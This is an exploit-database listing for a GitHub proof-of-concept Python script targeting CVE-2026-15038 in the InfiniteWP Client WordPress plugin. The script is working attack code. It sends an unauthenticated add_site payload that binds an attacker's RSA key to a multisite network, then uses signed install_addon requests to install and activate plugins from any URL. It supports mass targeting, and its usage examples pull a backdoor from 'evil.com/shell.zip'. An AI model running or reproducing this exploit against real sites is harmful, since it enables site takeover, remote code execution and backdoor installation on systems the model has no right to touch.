Exploit database

GH-fe2ed37c0e6f4532342cc177d312e392

polosss/by-poloss..-..cve-2026-15038-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-15038

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files3
polosss/by-poloss..-..cve-2026-15038-pocRevision 8bc3ceb64b82

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 15,501 bytes
#!/usr/bin/env python3
"""
CVE-2026-15038 — InfiniteWP Client < 1.13.6
Unauthenticated Administrator Account Takeover on Multisite
Remote Code Execution (RCE)

CVSS: 9.8 (Critical)  |  CWE-287: Improper Authentication

=== EXPLOITATION ===
  1. Send POST with _IWP_JSON_PREFIX_ + base64 JSON to any WP URL
  2. iwp_action=add_site, no activation_key
  3. Guard bypassed (Bug #1), activation check bypassed (Bug #2)
  4. Attacker's public key bound to entire network (Bug #3)
  5. Sign arbitrary commands -> RCE via install_addon

=== USAGE ===
  Single target:
    python3 exploit.py -t https://target.com -u admin

  Mass exploit:
    python3 exploit.py -t https://t1.com -t https://t2.com -t https://t3.com -u admin

  With RCE (install plugin):
    python3 exploit.py -t https://target.com -u admin --rce

  With custom plugin URL for RCE (backdoor):
    python3 exploit.py -t https://target.com -u admin --rce --plugin-url "https://evil.com/shell.zip"

  Save keys for later use:
    python3 exploit.py -t https://target.com -u admin --save-keys
"""

import argparse
import base64
import json
import os
import re
import ssl
import sys
import urllib.error
import urllib.request

from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.backends import default_backend

# ─── Banner ──────────────────────────────────────────────────────────────────

BANNER = r"""
 _______  _______  ___      _______  _______  _______      ___   _______
|       ||       ||   |    |       ||       ||       |    |   | |       |
|    _  ||   _   ||   |    |   _   ||  _____||  _____|    |___| |    _  |
|   |_| ||  | |  ||   |    |  | |  || |_____ | |_____      ___  |   |_| |
|    ___||  |_|  ||   |___ |  |_|  ||_____  ||_____  |    |   | |    ___|
|   |    |       ||       ||       | _____| | _____| |    |___| |   |
|___|    |_______||_______||_______||_______||_______|          |___|
"""


# ─── Crypto ───────────────────────────────────────────────────────────────────

def generate_keypair():
    """Generate RSA-2048 keypair."""
    priv = rsa.generate_private_key(65537, 2048, default_backend())
    return priv, priv.public_key()


def sign_message(private_key, message):
    """Sign message bytes with RSA-SHA256, returns raw bytes."""
    return private_key.sign(message.encode(), padding.PKCS1v15(), hashes.SHA256())


def serialize_keys(private_key, public_key):
    """Return (priv_pem, pub_pem) strings."""
    priv_pem = private_key.private_bytes(
        serialization.Encoding.PEM,
        serialization.PrivateFormat.PKCS8,
        serialization.NoEncryption()
    ).decode()
    pub_pem = public_key.public_bytes(
        serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo
    ).decode()
    return priv_pem, pub_pem


# ─── IWP Protocol ────────────────────────────────────────────────────────────

def build_iwp_payload(iwp_action, message_id, private_key, inner_params):
    """
    Build a complete IWP JSON payload.

    inner_params MUST include 'username' for the check_if_user_exists() gate
    at init.php:203 (runs before any action dispatch).

    Returns the raw POST body string: _IWP_JSON_PREFIX_<base64>
    """
    data_to_sign = iwp_action + str(message_id)
    raw_sig = sign_message(private_key, data_to_sign)
    sig_b64 = base64.b64encode(raw_sig).decode()

    payload = {
        "iwp_action": iwp_action,
        "id": str(message_id),
        "signature_new": sig_b64,
        "params": inner_params
    }

    raw_json = json.dumps(payload, separators=(",", ":"))
    encoded = base64.b64encode(raw_json.encode()).decode()
    return f"_IWP_JSON_PREFIX_{encoded}"


def build_add_site_payload(private_key, public_key, username, message_id="1337"):
    """
    Build add_site payload WITHOUT activation_key.
    This is the exploit path — Bug #2 bypasses the missing key check.
    """
    pub_pem = public_key.public_bytes(
        serialization.Encoding.PEM,
        serialization.PublicFormat.SubjectPublicKeyInfo
    ).decode()
    pub_b64 = base64.b64encode(pub_pem.encode()).decode()

    action = "add_site"
    data_to_sign = action + message_id
    raw_sig = sign_message(private_key, data_to_sign)
    sig_b64 = base64.b64encode(raw_sig).decode()

    inner = {
        "username": username,           # REQUIRED: line-203 gate
        "public_key": pub_b64,
        "signature_new": sig_b64,
        "signature": sig_b64,
        "action": action,
        "id": message_id,
        "is_save_activity_log": False
        # NOTE: NO activation_key — this is the exploit!
    }

    return build_iwp_payload(action, message_id, private_key, inner), pub_b64


def build_install_addon_payload(private_key, username, message_id, package_urls, activate=True):
    """
    Build authenticated install_addon payload for RCE.
    Installs plugins from arbitrary URLs.
    """
    inner = {
        "username": username,           # REQUIRED: line-203 gate
        "package": package_urls,        # Array of URLs
        "type": "plugins",
        "activate": activate,
        "is_save_activity_log": False
    }
    return build_iwp_payload("install_addon", message_id, private_key, inner)


# ─── HTTP ────────────────────────────────────────────────────────────────────

def send_iwp_request(target_url, post_body, timeout=30):
    """Send raw POST with IWP payload. Returns response body string."""
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE

    data = post_body.encode()
    req = urllib.request.Request(
        target_url.rstrip("/") + "/",
        data=data,
        headers={"User-Agent": "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36"},
        method="POST"
    )

    try:
        resp = urllib.request.urlopen(req, context=ctx, timeout=timeout)
        return resp.read().decode("utf-8", errors="replace")
    except urllib.error.HTTPError as e:
        return e.read().decode("utf-8", errors="replace")
    except Exception as e:
        return str(e)


def parse_iwp_response(response_text):
    """
    Extract JSON from IWP response wrapper.
    Format: <IWPHEADER>_IWP_JSON_PREFIX_<base64><ENDIWPHEADER>
    """
    match = re.search(r"<IWPHEADER>(.*?)<ENDIWPHEADER>", response_text, re.DOTALL)
    if not match:
        return None

    content = match.group(1)
    if content.startswith("_IWP_JSON_PREFIX_"):
        b64_data = content[len("_IWP_JSON_PREFIX_"):]
        try:
            return json.loads(base64.b64decode(b64_data).decode())
        except Exception:
            return {"raw": b64_data[:200]}

    return {"raw": content[:200]}


# ─── Exploit ─────────────────────────────────────────────────────────────────

def exploit_target(target_url, username, verbose=False, timeout=30):
    """
    Attempt CVE-2026-15038 on a single target.

    Returns (success, result_dict, private_key, public_key, message_id, pub_b64)
    """
    print(f"[*] Targeting: {target_url}")

    priv, pub = generate_keypair()
    msg_id = "1337"

    post_body, pub_b64 = build_add_site_payload(priv, pub, username, msg_id)

    if verbose:
        print(f"    Public key (b64): {pub_b64[:50]}...")
        print(f"    Message ID: {msg_id}")

    print(f"    Sending add_site exploit (no activation_key)...")
    resp_body = send_iwp_request(target_url, post_body, timeout)

    if verbose:
        print(f"    Raw response (first 300): {resp_body[:300]}")

    result = parse_iwp_response(resp_body)
    if result is None:
        print(f"    [!] No parsable IWP response received")
        return False, None, None, None, None, None

    if verbose:
        print(f"    Parsed: {json.dumps(result, indent=2)[:500]}")

    if "success" in result:
        stats = result["success"]
        print(f"    [+] KEY BOUND SUCCESSFULLY!")
        if isinstance(stats, dict):
            wp_v = stats.get("wordpress_version", stats.get("client_version", "unknown"))
            ms = stats.get("wp_multisite", "0")
            print(f"    [+] WordPress: {wp_v} | Multisite: {ms}")
        return True, result, priv, pub, msg_id, pub_b64

    elif "error" in result:
        err = result["error"]
        err_code = result.get("error_code", "")
        print(f"    [-] Failed: {err} (code: {err_code})")

        if "activation" in err.lower() or "activate_key" in err_code.lower():
            print(f"    [!] Activation key check blocked us.")
            print(f"    [!] This CVE requires the site to have been paired at least once")
            print(f"    [!] (so iwp_client_activate_key was deleted via remove_site).")
            print(f"    [!] Try: pair the site legitimately first, then run remove_site,")
            print(f"    [!] then re-run this exploit.")
        return False, result, None, None, None, None
    else:
        print(f"    [-] Unexpected response format")
        return False, result, None, None, None, None


def execute_rce(private_key, target_url, username, plugin_urls, verbose=False, timeout=60):
    """
    Execute RCE via install_addon after successful key binding.

    Installs plugins from arbitrary URLs (no authentication needed).
    """
    print(f"\n[*] Executing RCE (install_addon)...")

    msg_id = "7331"
    post_body = build_install_addon_payload(
        private_key, username, msg_id,
        plugin_urls if isinstance(plugin_urls, list) else [plugin_urls],
        activate=True
    )

    if verbose:
        print(f"    Plugin URL(s): {plugin_urls}")

    resp_body = send_iwp_request(target_url, post_body, timeout)
    result = parse_iwp_response(resp_body)

    if result and "success" in result:
        print(f"    [+] RCE SUCCESS! Plugin installed/activated!")
        s = result["success"]
        if isinstance(s, dict):
            for key, info in s.items():
                if isinstance(info, dict):
                    dest = info.get("destination_name", info.get("destination", "?"))
                    act = info.get("activated", "N/A")
                    # activated can be None for success, WP_Error for failure
                    if act is None:
                        act_str = "True (None = success)"
                    elif act is True:
                        act_str = "True"
                    else:
                        act_str = str(act)
                    print(f"        {key}: installed to {dest} | activated: {act_str}")
                else:
                    print(f"        {key}: {info}")
        else:
            print(f"        {json.dumps(s, indent=2)[:500]}")
        return True
    else:
        err = result.get("error", "unknown") if result else "no response"
        err_code = result.get("error_code", "") if result else ""
        print(f"    [-] RCE failed: {err} (code: {err_code})")
        return False


# ─── CLI ──────────────────────────────────────────────────────────────────────

def main():
    parser = argparse.ArgumentParser(
        description="CVE-2026-15038 — InfiniteWP Client < 1.13.6 ATO + RCE on Multisite",
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic exploit
  python3 exploit.py -t https://target.com -u admin

  # Mass exploit (3 targets)
  python3 exploit.py -t https://t1.com -t https://t2.com -t https://t3.com -u admin

  # Exploit + RCE (install hello-dolly as proof)
  python3 exploit.py -t https://target.com -u admin --rce

  # Exploit + RCE with custom backdoor URL
  python3 exploit.py -t https://target.com -u admin --rce --plugin-url "https://evil.com/shell.zip"

  # Save generated keys for later use
  python3 exploit.py -t https://target.com -u admin --save-keys
        """
    )

    parser.add_argument("-t", "--targets", required=True, action="append",
                        help="Target URL(s) — can be specified multiple times for mass exploit")
    parser.add_argument("-u", "--username", type=str, default="admin",
                        help="WordPress admin username (default: admin)")
    parser.add_argument("-v", "--verbose", action="store_true",
                        help="Verbose output")
    parser.add_argument("--rce", action="store_true",
                        help="Attempt RCE after successful key binding")
    parser.add_argument("--plugin-url", type=str,
                        default="https://downloads.wordpress.org/plugin/hello-dolly.zip",
                        help="Plugin URL for RCE (default: hello-dolly)")
    parser.add_argument("--save-keys", action="store_true",
                        help="Save generated keypair to files for later use")
    parser.add_argument("--timeout", type=int, default=30,
                        help="Request timeout in seconds (default: 30)")

    args = parser.parse_args()

    print(BANNER)

    results = []
    total = len(args.targets)

    for idx, target in enumerate(args.targets, 1):
        print(f"\n{'='*60}")
        print(f"[{idx}/{total}] Processing: {target}")
        print(f"{'='*60}")

        success, resp_data, priv, pub, msg_id, pub_b64 = exploit_target(
            target, args.username, args.verbose, args.timeout
        )

        results.append((target, success, priv, pub))

        if success:
            if args.save_keys:
                safe_name = re.sub(r'[^a-zA-Z0-9]', '_', target).strip('_')
                priv_pem, pub_pem = serialize_keys(priv, pub)
                with open(f"iwp_priv_{safe_name}.pem", "w") as f:
                    f.write(priv_pem)
                with open(f"iwp_pub_{safe_name}.pem", "w") as f:
                    f.write(pub_pem)
                print(f"    Keys saved: iwp_priv_{safe_name}.pem / iwp_pub_{safe_name}.pem")

            if args.rce:
                execute_rce(priv, target, args.username,
                            args.plugin_url, args.verbose,
                            max(args.timeout, 60))

    # ─── Summary ──────────────────────────────────────────────────────────
    print(f"\n{'='*60}")
    print("SUMMARY")
    print(f"{'='*60}")

    vuln_count = 0
    for target, success, _, _ in results:
        status = "VULNERABLE" if success else "NOT VULNERABLE"
        if success:
            vuln_count += 1
        print(f"  {target}: {status}")

    print(f"\n  {vuln_count}/{total} targets vulnerable to CVE-2026-15038")
    print(f"\n  CVSS: 9.8 (Critical) | CWE-287: Improper Authentication")
    print(f"  Researcher: Jakub Herman | Exploit: Hermes Agent")


if __name__ == "__main__":
    main()